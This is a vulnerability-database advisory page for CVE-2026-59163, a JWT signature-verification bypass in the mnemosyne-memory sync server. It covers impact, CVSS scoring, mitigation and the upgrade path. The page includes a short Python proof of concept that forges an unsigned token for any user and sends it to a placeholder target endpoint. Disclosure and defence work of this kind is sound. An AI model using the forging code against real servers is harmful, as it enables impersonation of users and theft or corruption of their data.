CVE-2026-59163 — Vulnerability in mnemosyne-memory — CVE Details
Mnemosyne has JWT signature verification bypass sync server that allows authentication bypass
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.33%). Schedule for your next planned update.
Does your project use an affected mnemosyne-memory version?
Paste your requirements.txt to check it for CVE-2026-59163 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
The Mnemosyne sync server's authentication check decoded JWT bearer tokens but never verified their HMAC-SHA256 signatures. Any well-formed token was accepted, allowing an unauthenticated attacker to impersonate any user and read or modify their sync data.
Severity: Critical
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1
Assumes the sync server endpoint is network-reachable. If your deployment is localhost-only, the score drops substantially and severity becomes High or Medium depending on local exposure. Confirm your threat model.
Affected versions
All mnemosyne versions exposing the sync server endpoint, up to and including v3.10.0.
Patched versions
v3.10.1 (commit a0b6b871 on branch security/jwt-signature-verification)
Description
The sync server uses JWT bearer tokens to authenticate clients. Prior to v3.10.1, the auth check in mnemosyne/core/sync_server.py parsed the JWT's header and payload using base64 decoding, then passed the token to a jwt library call with options that effectively disabled signature verification. The server accepted any well-formed token regardless of the signature, including tokens with alg: none and tokens signed with the wrong key.
The fix in v3.10.1 replaces the broken decode with a from-scratch HS256 verifier using only the Python standard library:
- Constant-time signature comparison via hmac.compare_digest
- Strict alg: HS256 check, rejecting none and other algorithms
- UTC-aware exp validation with leeway
- Loud errors with specific failure reasons
- Type validation of decoded payload before use
Impact
An attacker with network access to the sync server can:
- Forge a JWT for any user_id without knowing the secret
- Authenticate as that user to /sync/status, /sync/push, and /sync/pull
- Read the victim's sync state
- Push malicious sync state to corrupt the victim's local database
- Pivot within a shared deployment (multi-user sync server)
Confidentiality and integrity of sync data are fully compromised for the duration of exposure. There is no impact on the server's availability.
Reproduction
import base64
import json
import requests
# Forge a JWT for any user. No secret required.
def forge_jwt(user_id):
header = base64.urlsafe_b64encode(
json.dumps({"alg": "HS256", "typ": "JWT"}).encode()
).rstrip(b"=")
payload = base64.urlsafe_b64encode(
json.dumps({"user_id": user_id, "exp": 9999999999}).encode()
).rstrip(b"=")
sig = b""
return f"{header.decode()}.{payload.decode()}."
r = requests.get(
"https://target.example.com/sync/status",
headers={"Authorization": f"Bearer {forge_jwt('victim-user-id')}"},
)
print(r.status_code, r.json())
A 200 OK response with valid sync status payload confirms the bypass. The attack requires no credentials, no secret, and no prior access.
Mitigation
Upgrade to v3.10.1.
For users who cannot upgrade immediately:
- Restrict network access to the sync server endpoint to trusted clients only. Firewall, reverse proxy with mTLS, or localhost bind with SSH tunnel are all viable.
- The vulnerability is not exploitable against an unreachable endpoint.
Workarounds
None. The patch is required to restore authentication integrity.
Credits
- Reporter: Denis Hache (dplush). Reported via private channel on 2026-06-13 with full reproduction and a coordinated disclosure window.
- Fix: Denis Hache
Timeline
- 2026-06-13: Initial report received from Denis via private channel.
Advisory Timeline
- First published September 18, 2026 (69 days ago).
- Last revised October 1, 2026 — 13 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
pip install "mnemosyne-memory>=3.10.1"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: PyPI (1).
| Package | Fixed In |
|---|---|
| mnemosyne-memory PyPI · Affected: 1.10.1, 1.10.2, 1.11.0, 1.12.0 (+21 more) | 3.10.1 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-347Improper Verification of Cryptographic SignatureMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
References
- https://github.com/AxDSan/mnemosyne/security/advisories/GHSA-xcw4-53cc-hv32WEB
- https://github.com/mnemosyne-oss/mnemosyne/pull/373WEB
- https://github.com/mnemosyne-oss/mnemosyne/commit/a0b6b8711a1a485304971710dc3571e29ff9dbebWEB
- https://github.com/AxDSan/mnemosynePACKAGE
- https://github.com/mnemosyne-oss/mnemosyne/releases/tag/v3.10.1WEB
Frequently Asked Questions
- What is CVE-2026-59163?
- Mnemosyne has JWT signature verification bypass sync server that allows authentication bypass. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
- How do I check if my project is affected by CVE-2026-59163?
- CVE-2026-59163 affects mnemosyne-memory. It has a 0.3% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-59163 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is a below-median EPSS score — only 18% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-77359CRITICAL
Jupyter MCP Server: Browser DNS rebinding can hijack the Jupyter backend through management routes
- CVE-2026-77312CRITICAL
Flyto2 Core: Arbitrary file write via unguarded data.*/file.* modules (incomplete fix of CVE-2026-67429)